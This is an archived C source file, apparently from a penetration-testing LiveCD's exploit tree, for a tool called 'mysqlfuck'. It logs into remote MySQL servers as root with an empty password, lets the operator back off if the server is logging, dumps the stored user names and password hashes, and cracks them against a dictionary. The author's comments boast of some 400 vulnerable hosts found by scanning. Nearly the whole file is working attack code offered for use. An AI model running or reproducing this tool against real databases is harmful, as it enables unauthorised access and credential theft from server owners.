home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / mysqlfuck.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  375 lines

  1. //mysqlfuck.c
  2. /*--||MySQLfuck||--*/
  3. /*Written by g0thm0g*/
  4. /*-----------------*/
  5. /*Earlier this summer (at least where I live), I had a
  6. conversation with a friend.
  7. It was one of those afternoons where you get an idea,
  8. and it kinda sticks with you.
  9. Anyway, our conversation involved a couple questions
  10. about INSERT's into a MySQL
  11. database.  Eventually, I told him that I would do it
  12. for him.  I came over, sat down
  13. on his computer, and accidentally typed his full IP
  14. address in.  TO my surprise, the
  15. host still connected.  Even worse, root login wasn't
  16. passworded.  I figured that he
  17. had mysql bound to 127.0.0.1, and that no real remote
  18. host could connect.  However,
  19. later that night after I had gone home, I got a phone
  20. call from the friend asking me
  21. to do it again.  Already on the computer (go figure
  22. d:), I pulled up bash and
  23. typed in his IP.  Right as I was about to ask him what
  24. his password was, I noticed
  25. that MySQL hadn't even bothered to authenticate me.  I
  26. "used mysql" and then SELECT'ed
  27. user,password,host FROM user.  To my horror, I recieved:
  28.                                                       +------+----------+-----------+
  29.                                                       | user | password | host      |
  30.                                                       +------+----------+-----------+
  31.                                                       | root |          | localhost |
  32.                                                       | root |          | %         |
  33.                                                       |      |          | localhost |
  34.                                                       |      |          | %         |
  35.                                                       +------+----------+-----------+
  36.          Not only was name-less login allowed, but root was
  37. without password on localhost
  38. and remote.  Anyway, to make a long story short, I did
  39. some research, and found that
  40. default Windows MySQL configuration lacks logging or
  41. authentication.  I did some
  42. network scanning, and I think I have around 400 hosts
  43. with no root password.  Anyway,
  44. to automate checking this, I wrote this program up.  It
  45. tries to login as root/NULL,
  46. then takes the values of the user password hashes and
  47. tries to find a match to a
  48. dictionary file called dictionary.txt.
  49.  
  50. I wrote up an advisory, which you'll probably see on
  51. SecFoc soon.
  52.  
  53. If I had some cookies, I'd give them to:
  54.          -Tiefer and his relentless questioning and jokes about
  55. my sister
  56.          -Club 21, especially for Hard Attack
  57.          -DJ Doboy, can't forget trancequility volume 19
  58.  
  59. (INSERT STANDARD "NOT-TO-BE-USED-FOR-ILLEGAL-USE"
  60. CLAUSE HERE)
  61. (INSERT STANDARD "I-HOLD-NO-LIABILITY" CLAUSE HERE)
  62.  
  63. Compile:
  64.          -MSVC= cl mysqlfuck.c libmySQL.lib /DWIN32 -O2
  65.          -GCC=  gcc -omysqlfuck mysqlfuck.c -lmySQL -O2
  66.  
  67.          -Cheers
  68.                   g0th
  69. */
  70.  
  71.  
  72. #include <stdio.h>
  73. #ifdef WIN32
  74. #include <windows.h>
  75. #endif
  76. #include <mysql.h>
  77.  
  78. /*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
  79. /*Crazy MySQL programmers and their short typedefs*/
  80. /*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/
  81.  
  82. #ifndef ulong
  83. #define ulong unsigned long
  84. #endif
  85.  
  86. #ifndef uint
  87. #define uint unsigned int
  88. #endif
  89.  
  90. #ifndef uchar
  91. #define uchar unsigned char
  92. #endif
  93.  
  94. /*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
  95. /*##--####--####--####--####--####--####--####--##*/
  96. /*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/
  97.  
  98. /*--------------------------------------------------------------*/
  99. /*<<<<This section is ripped straight from the MySQL
  100. source.>>>>*/
  101. /*I have this all nice and optimized in assembly on my
  102. end, but*/
  103. /*writing cross-compiler inline is not too fun, and
  104. requring an*/
  105. /*assembler is kinda frustrating.*/
  106. /*--------------------------------------------------------------*/
  107. void hash_password(ulong *result, const char *password)
  108. {
  109.   register ulong nr=1345345333L, add=7, nr2=0x12345671L;
  110.   ulong tmp;
  111.   for (; *password ; password++)
  112.   {
  113.     if (*password == ' ' || *password == '\t')
  114.       continue;                           /* skipp space in password */
  115.  
  116.     tmp= (ulong) (uchar) *password;
  117.     nr^= (((nr & 63)+add)*tmp)+ (nr << 8);
  118.     nr2+=(nr2 << 8) ^ nr;
  119.     add+=tmp;
  120.   }
  121.  
  122.   result[0]=nr & 2147483647; /* Don't use sign bit
  123. (str2int) */;
  124.   result[1]=nr2 & 2147483647;
  125.   return;
  126. }
  127.  
  128. void make_scrambled_password(char *to,const char *password)
  129. {
  130.   ulong hash_res[2];
  131.   hash_password(hash_res,password);
  132.   sprintf(to,"%08lx%08lx",hash_res[0],hash_res[1]);
  133. }
  134. /*--------------------------------------------------------------*/
  135. /*<<<<######################################################>>>>*/
  136. /*--------------------------------------------------------------*/
  137.  
  138.  
  139. /*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/
  140.  
  141.  
  142. /*--------------------------------*/
  143. /*<<<user struct to store data>>>>*/
  144. /*--------------------------------*/
  145. typedef struct
  146. {
  147.          char *user;
  148.          char *password;
  149. } user;
  150.  
  151. #define         MAX_USERS         16
  152. /*--------------------------------*/
  153. /*<<<<########################>>>>*/
  154. /*--------------------------------*/
  155.  
  156.  
  157.  
  158. //main - for "coherency's" (yes, i mean laziness) sake,
  159. i've kept this a single function
  160. int
  161.          main
  162.          (
  163.                   int argc,
  164.                   char** argv
  165.          )
  166.          {
  167.  
  168.                   MYSQL * mysqlData;                           //--|-
  169.                   MYSQL_RES * mysqlResult;         //--|-MySQL Datatypes
  170.                   MYSQL_ROW mysqlRow;                           //--|-
  171.  
  172.                   char *spHost;                                    //--|
  173.                   char *spUser="root";                           //--|
  174.                   char *spPassword=NULL;                  //--|-Our connection data
  175.                   int spPort=3306;                           //--|
  176.                   char *spServerVersion;                  //--|
  177.  
  178.                   int usernum=0;                                    //--|
  179.                   user *users[MAX_USERS];                  //--|-User name/hash storage
  180. data
  181.  
  182.                   FILE *fin, *fout;                           //--|
  183.                   char *file_name;                           //--|-File I/O data
  184.  
  185.                   char *line=(char *)malloc(64);         //--|
  186.                   char *buff=(char *)malloc(64);         //--|-Miscellaneous
  187. buffers
  188.  
  189.                   int i=0;                                             //--|Counter
  190.  
  191.  
  192.                   //Warn about not meeting minimal arguments
  193.                   if (2>argc)
  194.                   {
  195.                            fprintf (stderr, "usage: mysqlfuck host [-p<port>]");
  196.                            return -1;
  197.                   }
  198.  
  199.                   //Copy the first argument into the host buffer
  200.                   spHost=(char *)malloc(sizeof(argv[1]));
  201.                   strcpy (spHost, argv[1]);
  202.  
  203.                   //Copy port if the user specified
  204.                   if (argv[2])
  205.                   {
  206.                            if (argv[2][1]=='p')
  207.                            {
  208.                                     ++argv[2];
  209.                                     ++argv[2];
  210.                                     spPort=atoi(argv[2]);
  211.                                     printf ("port: %i\n", spPort);
  212.                            }
  213.                   }
  214.  
  215.                   //Initialize MySQL data and connect with root/NULL
  216.  
  217.                   mysqlData = (MYSQL *)malloc(sizeof(MYSQL));
  218.  
  219.                   mysql_init (mysqlData);
  220.  
  221.                   if (! mysql_real_connect (mysqlData, spHost, spUser,
  222. spPassword, "mysql", spPort, NULL, 0) )
  223.                   {
  224.                            fprintf (stderr, "mysql_real_connect: %s\n",
  225. mysql_error (mysqlData));
  226.                            return -1;
  227.                   }
  228.  
  229.                   //If the server logs, inform the user!
  230.  
  231.                   printf ("server version: %s\n",
  232. mysql_get_server_info(mysqlData));
  233.  
  234.                   if (strstr (mysql_get_server_info (mysqlData), "log"))
  235.                   {
  236.                            printf ("Warning!  Server is logging - Continue(*/n)?");
  237.                            if (getchar()=='n')
  238.                            {
  239.                                     mysql_close (mysqlData);
  240.                                     return -1;
  241.                            }
  242.                   }
  243.  
  244.                   //"Obtain" the hashes (notice i didn't use the word
  245. steal)
  246.  
  247.                   if ( mysql_query (mysqlData, "SELECT user,password
  248. FROM user") )
  249.                   {
  250.                            fprintf (stderr, "mysql_query: %s\n", mysql_error
  251. (mysqlData));
  252.                            return -1;
  253.                   }
  254.  
  255.                   //Store the result and process it
  256.  
  257.                   mysqlResult=mysql_store_result(mysqlData);
  258.                   while (mysqlRow=mysql_fetch_row(mysqlResult))
  259.                   {
  260.                            if (strlen(mysqlRow[0])==0)
  261.                            {
  262.                                     mysqlRow[0]="(NULL)";
  263.                            }
  264.  
  265.                            if (strlen(mysqlRow[1])==0)
  266.                            {
  267.                                     mysqlRow[1]="(NULL)";
  268.                            }
  269.  
  270.  
  271.                            users[usernum]=(user *)malloc(sizeof(user));
  272.                            users[usernum]->user=(char
  273. *)malloc(strlen(mysqlRow[0])+1);
  274.                            strcpy (users[usernum]->user, mysqlRow[0]);
  275.                            users[usernum]->password=(char
  276. *)malloc(strlen(mysqlRow[1])+1);
  277.                            strcpy (users[usernum]->password, mysqlRow[1]);
  278.                            usernum++;
  279.                   }
  280.  
  281.                   mysql_close (mysqlData);
  282.  
  283.                   //Setup putput file name string
  284.  
  285.                   file_name=(char *)malloc (sizeof(spHost)+4);
  286.                   strcpy (file_name, spHost);
  287.                   strcat (file_name, ".txt\0\0");
  288.                   printf ("\n+----------------------------+\n");
  289.                   printf ("<decrypting and dumping to %s>\n", file_name);
  290.                   printf ("+----------------------------+\n");
  291.  
  292.  
  293.                   fout=fopen (spHost, "w");
  294.  
  295.                   if (!fout)
  296.                   {
  297.                            fprintf (stderr, "Unable to open %s for password
  298. dumping\n", spHost);
  299.                            return -1;
  300.                   }
  301.  
  302.  
  303.                   //Use a database to crack the hashes (optional)
  304.                   fin=fopen ("dictionary.txt", "r");
  305.                   if (!fin)
  306.                   {
  307.                            fprintf (stderr, "error opening dictionary.txt - no
  308. decryption will take place\n");
  309.  
  310.                            for (i=0;i<usernum;i++)
  311.                            {
  312.                                     printf ("%s::%s\n", users[i]->user,
  313. users[i]->password);
  314.                            }
  315.  
  316.                            return -1;
  317.                   }
  318.  
  319.                   //Loop through the user array and crack/output hashes
  320.                   for (i=0;i<usernum;i++)
  321.                   {
  322.                            if (users[i]->user)
  323.                            {
  324.                                     if (users[i]->password)
  325.                                     {
  326.  
  327.                                              while ( (fgets (line, 63, fin)))
  328.                                              {
  329.                                                       line[strlen(line)-1]='\0';
  330.                                                       make_scrambled_password (buff, line);
  331.                                                       if (strcmp (buff, users[i]->password)==0)
  332.                                                       {
  333.                                                                users[i]->password=line;
  334.                                                                break;
  335.                                                       }
  336.                                              }
  337.  
  338.                                              fclose (fin);
  339.  
  340.                                              fprintf (fout, "%s::%s\n", users[i]->user,
  341. users[i]->password);
  342.                                              printf ("%s::%s\n", users[i]->user,
  343. users[i]->password);
  344.                                              fflush (fout);
  345.                                     }
  346.                            }
  347.                   }
  348.  
  349.                   //Always clean up after yourself!
  350.  
  351.                   fclose (fout);
  352.  
  353.                   if (buff)
  354.                            free (buff);
  355.  
  356.                   if (line)
  357.                            free (line);
  358.  
  359.                   if (spHost)
  360.                            free (spHost);
  361.  
  362.                   if (users)
  363.                            free (users);
  364.  
  365.                   if (file_name)
  366.                            free (file_name);
  367.  
  368.                   if (mysqlData)
  369.                            free (mysqlData);
  370.  
  371.          }
  372.  
  373.  
  374.  
  375.